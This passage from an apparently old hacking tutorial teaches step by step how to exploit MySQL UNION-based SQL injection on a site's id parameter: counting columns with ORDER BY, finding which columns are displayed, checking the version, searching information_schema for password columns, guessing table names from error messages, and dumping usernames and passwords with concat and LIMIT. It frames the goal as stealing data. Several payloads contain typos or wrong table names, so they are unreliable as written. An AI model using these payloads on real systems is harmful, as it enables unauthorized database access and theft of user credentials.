the server would order the all the output in alphabetical order from a-z. If you changed ASC to DESC it would make it z-a.

The server automatically sees if the column is a string or integer. if its a string, it goes alphabetically, and if its an integer, numerically.

ORDER BY also selects numbers instead of columns. The number is the number of the column in the select statement. For example, if the query waas this:

SELECT title,data FROM news WHERE id=1 ORDER BY 1 ASC

It would choose the first column chosen in the query, which is title (it chooses from title, data). Then it orders the result alphabetically from a-z.

If it was

SELECT title,data FROM news WHERE id=1 ORDER BY 2 ASC

It would use the second column selected, data, and order it by that.

So we can take advantage of this and try numbers from 1 on in the URL. Once we hit an error saying that the column is invalid, we know that the last number to NOT give an error is the number of columns. Heres an example:

http://site.com/script.php?id=1' ORDER BY 1 -- no error

http://site.com/script.php?id=1' ORDER BY 2 -- no error

http://site.com/script.php?id=1' ORDER BY 3 -- no error

http://site.com/script.php?id=1' ORDER BY 4 -- error - "MySQL Error: No column number '4' in WHERE clause in script.php on line 7."

So we know that 3, the last number to not give an error, is the number of columns in the first select!

Now lets move on to the next step!



Subsection 2.6 - 5)Craft a union statement that doesnt cause an error & see which columns are outputted

So now that we know the number of columns, we need to make a union statement and see which columns are outputted to the site so we know which columns we can use to retrieve and output our data to the screen. This is generally a two step process.

1)First we craft the union select statement( rememer to use union all) which numbers as the columns. An example:



http://site.com/script.php?id=1' UNION ALL SELECT 1,2,3 --

If there is no error, you look at the screen and check which numbers are displayed in the place data would normally be put (for example, in the place where the article title would be, check if a number is there).

If the numbers are on the screen, you know you can use the columns with those numbers to display stolen data. The other columns that arent displayed are useless.

For example, if you see the number 2 in the title of the page and a number 3 where the article is usually displayed, you know that you can use the second and third column (where you put the 2 and 3 in the union all select 1,2,3 --) to display data you will steal from the database to the page.

Now if you get an error when you use all numbers like: "MySQL Error: Cant convert int in script.php on line 7." then you know that one column cant be a number, so you should move to step 2.

2)Since we know that we cant go all out and put all integers, we need to use null. Null never causes a type conversion error since its just an empty data holder. So we try:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --

Now if you can an error, there is a good chance the script has TWO select statements. For example, first it can do

SELECT title,data,author FROM news WHERE id= '[your data from the url]'

then in a later line in the script it uses the id value from the url again in another select statement like this:

SELECT data,time FROM news WHERE id= '[your data from the url]'

Now, the first select statment would be like this:

SELECT title,data,author FROM news WHERE id= '1' UNION ALL SELECT null,null,null --

but the second will be

SELECT date,time FROM news WHERE id = '1' UNION ALL SELECT null,null,null --

This would cause an error since the second query has ONLY TWO columns in the first select statement (time,year), while the union all select has THREE columns. This will cause another error saying select statement need the same number of columns. Now if you change the UNION ALL SELECT to have two nulls, then the first select would cause an error.



Unfortunately, there is no way around this in mysql at the moment. (in mssql there is, however). A good way to double check that its a multi select and not that you messed up the number of columns in the UNION select statement is to cause an error like we did before, doing

http://site.com/script.php?id=1'

Say you got an error like this:

"MySQL Syntax Error By '1'' In file script.php On Line 7."

Then do the union all select url like this:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --

say you get an error like this:

"MySQL Error: Select statements must have the same number of columns in script.php on line 18."

Now look at the two errors. The first is on line 7, and the second on line 18. Now that you know that two separate lines of code caused the error, you know that two separate queries caused the error and it is infact a multi select, which you cant get around.

Keep in mind that not all sites have errors that verbose. Some just say "error". Then you would have to double check the columns and make sure you didnt make a mistake.

So lets say there is no multi select. We left off at :

http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --

Now there is no error. So we try this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,null,null --

We check for two things: an error, and if no error is displayed, check if the number 1 is displayed on the page in a place it wasnt before, like the title or where the news or author would be.

Say you get the same error as before in step 1:

"MySQL Error: Cant convert int in script.php on line 7."

Then you know that the first column causes an error, and you should ignore it and switch it back to null.

If it happens that all the columns cause errors or arent displayed on the page, you can come back and test it with 'test' instead of 1 and see if it displays text or still gives a conversion error. If you get no error AND the word test is displayed on the page, you can then go further and get usernames/passwords and any other text based data, but not data that are integers like dates and ***s.



So now that we know 1 causes an error, we move on and check column two after we switch 1 back to null.

http://site.com/script.php?id=1' UNION ALL SELECT null,2,null --

Now look at the screen. Lets say there is an error. So now we know that 2 also causes an error and cant be used.

So lets change 2 back to null and try 3.

http://site.com/script.php?id=1' UNION ALL SELECT null,null,3 --

and guess what - no error! now check the page for the number 3. Check any places such as the title bar in your browser and places where data was like where the news was orthe author or date. If you dont find anything, dont give up, make the number unique like 1232323132 and view the source and see if its displayed in any hidden tags.

If its not displayed, as i said before, you can go back to the other two and try strings like 'test' (as long as magic quotes are disabled, or your getting around them like i will explain later), and check if those are displayed.

So now we are left with:

http://site.com/script.php?id=1’ UNION ALL SELECT null,null,3 –

and we know we can use the 3rd column to display our stolen data! So lets move on to step 6:



Subsection 2.7 - Step 6)Check the mysql version to see if information_schema is present

This is an easy step!

Information_Schema is a part of the database that holds ALL of the table names and column names stored in that database. You can access it like any other table.

To get tables, you would use information_schema.tables like this:

select table_name from information_schema.tables

This would return all of the tables that exist in the database.

To get columns you would use information_schema.columns

select column_name from information_schema.columns

This would return all the column names in all the tables of the database.

Information_schema.columns also holds the table names, so you can switch column_name with table_name and use it to get tables too.

Now this luxury is only available in mysql version 5 and up (6). So to make sure we can use it, we need to use the @@version command to check the version. So lets take our url and change 3 with @@version.

http://site.com/script.php?id=1' UNION ALL SELECT null,null,@@version --

Now, check where the 3 was before to see the version.

If the version is like 4.0.22-log, then the mysql version is 4 and you cant use information_schema.tables, but if its 5.0.1, then you can use information_schema.tables! You can also use the substring method I described before.

Now lets move on to step 7:

Subsection 2.8 – Step 7) Retrieve the desired columns

If the version is aboveor equal to 5, we can scan information_schema for password (or ***, etc) columns. If not, we have to guess and use clues given to us in errors to find prefixes, tables and columns that we want to steal data from. So for the first part lets assume that information_schema is enabled.

Now we need to scan information_schema for columns that are similar to pass, password, user_pass, etc. ( you can change it around so it will be ***, address, phone number, etc)

So, we need to use information_schema.columns and the LIKE operator along with wildchars (%) as i discussed in the basic info section.

So if we were putting queries straight into the db server, it would look like this:

SELECT column_name FROM information_schema.tables WHERE column_name LIKE '%pass%'

(of course, magic quotes will have to be off. If they're on, you will learn how to get past them later on)

For our vulnerable site, it would look like this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' –

The LIKE ‘%pass%’ is telling the server to scan make sure column_name has a value that is similar to “pass” and can have text before and after it (the wildchars). So it could be pass, userpass, password, etc.

This will return the first column_name that is like pass, with text before and after it (from the wildchars before and after it).

Now say you want the table_name the columns in so you can access it with union. You would simply change column_name to table_name like this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' --

Now say you dont like this first column/table, and you want to see if theres a second. There are two ways we can do this. The first is with limit (which i explained in the basic info section). So you would add limit 0,1 at the end which saying get 1 result starting from the 0th (first for humans, 0 for computers) result.

Then after you get the column/table, to move on you would do limit 1,1 then limit 2,1 etc until it runs out of columns. Heres an example:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 0,1 --

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 0,1 --

then record the column and table its in. Lets say the columns userpass and table members. Then we’d change it to:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 1,1 --

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 1,1

then record the info again then. Then we change it to:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 2,1 --

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 2,1 --

etc, until you run out of columns that are like pass.

Now say you didnt want to use limit. You could also use NOT IN(). For example, say you did

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%'

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%'



and you got the column user_password and table members. Now you wanted to see if there was an admins table with a column like pass. So you would add to the end

AND column_name NOT IN ('value'). This says choose the first row where the column "column_name" doesnt have this value. So if you wanted to get the next user column, you would do

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND column_name NOT IN ('user_password') --

or to be more safe, incase the admins table also has the column user_password, you could make it check for the table name like:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND table_name NOT IN ('user_password') --

Then say you got the column password and table backup_members. This is only a backup table, so you want to keep on going until you get the admins table. then you would take the url from before and add a ,'backup_members' to the NOT IN ('user_password') like this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND table_name NOT IN ('user_password', 'backup_members') --

and then you would check the table name like this:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE table_name LIKE '%pass%' AND table_name NOT IN ('user_password', 'backup_members') --

You would continue adding ,'table_name' until you finally got to the admins table (if there is one!)

Keep in mind magic quotes must be off for this. Again, you will found out how to bypass magic quotes in times like this later.

Now lets say the mysql version was only 4 and information_schema IS NOT present. So we would have to use another method to try to get the tables/columns of our interest. Basically, you would first look in the errors and see if it discloses the whole query or atleast the table and column (etc Mysql Error in 'userpass FROM users where id=1''), and the then resort to good old guessing. These two steps mainly revolve around luck and poor error message configuration.

So let me explain the error method first. Lets say you do this:

http://site.com/script.php?id=1'



and get the error:

MySQL Syntax Error in the query 'SELECT name FROM sb_news WHERE id = 1''

In the above example, the tables have a prefix (sb). Prefixes are usually present in each table if their in one and are very common in sites. Now that you know the prefix, you would guess sb_users, sb_members, sb_admins, sb_accounts, etc. You see that the column has no prefix, so after you get the table you would try username, password, user_password, user_pass, login, etc... If the error was

MySQL Syntax Error in the query 'SELECT name FROM news WHERE id = 1''

Then you would know the columns have no prefix and you wouldnt have to guess with the prefix. However errors like this are very uncommon. A more common error would be:

Mysql Error: Syntax error by '1' AND g_embedable=1 LIMIT 1' at line 1

This would show you the column name in the particular table. This would be useful because you can now assume either all the columns in the database have the g_ prefix, or you could somehow figure out why it has the prefix (for example, if it was a page of games, you could guess that g stood for games), then see how you can modify it for the users table (so if the table was users, it could be u_password, u_pass, u_username, u_user, u_login, etc). Of course, you would have to straight out guess the tables and if they had prefixes.

But once you have this info, how exactly do you check if the table/column exists? You would use a union all select that selected null (nothing) from the table youre guessing. For example:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,null FROM table (remember to use the right number of columns)

Now if you get an error saying Mysql Error: Table 'table' Not found in script.php on line 7 or any error similar, you know the table doesnt exist.

Once you have guessed the table correctly, then you would have to guess the column. You would do this by changing a null to the column name you guessing and seeing if there was an error. For example:

http://site.com/script.php?id=1' UNION ALL SELCT null,null,password from users

If there is no error and the page loads, then you know the column is password. If there is an error saying invalid column, you have to keep guessing. Remember to use a column that does NOT cause a conversion error since the error may be misleading.

Now that you have the column and table you want to steal data from, well move on to the next step!:





Subsection 2.9 - Step 8)Get your data

This is the final part of this tutorial, and easy as hell!

So we have our table and column. Lets say the table is users and the two columns you got are username and password. So all we have to do to get the data from those columns is use a simple select query in our url and limit to sift through the rows! So with username and password in table users, we would do this:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,username FROM users --

Then check the page where the data is displayed and youll see the username!

Now for the password:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,password FROM users --

Then check the page where the username was and you’ll see the password! Now, instead of doing two separate queries for the username and password, there are two ways to get the data out at the same time.

The first is if two columns display data to the page. Say columns 2 and 3 displayed data in our UNION ALL SELECT null,null,null. So we would do

http://site.com/script.php?id=1' UNION ALL SELECT null,username,password FROM users --

Then you can look on the page for the username AND password. But they are on different parts of the page, arent they? To get them together, we can use the function concat(). Concat joins strings. the syntax is concat(string1,string2,etc). You can put in as many strings as you want separated by commas. You can either use column_names or actual strings enclosed by 's (magic quotes must be off). The benefit is the data is together and we only need one column that outputs.

So we can do this:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,concat(username,password) FROM users --

But then there would be no distinction between the username and password. So we should add an --- between them. So we could do concat(username,'---',password). Again, magic quotes MUST be off for this to work. An example would be:

http://site.com/script.php?id=1' UNION ALL SELECT null,null,concat(username,'---',password) --

Then you will see the username and password separated by ---'s on the page!

Now, what if you didn’t want the first users password? Then you would use limit as I discussed earlier. You would tell limit to start from the 2nd row (which is actually 1 for computers since 0 is the first) and to choose 1 row (limit 1,1). So you would do

http://site.com/script.php?id=1’ UNION ALL SEELCT null,null,concat(username, ‘---‘, password) limit 1,1 –

Then you would check the page again and in the place you saw the previous username and password you would see the second users in the same exact format. Now if you wanted the next user, you would change limit 1,1 to limit 2,1, then the next would be limit 3,1, etc etc until you have all the users you want!

READMORE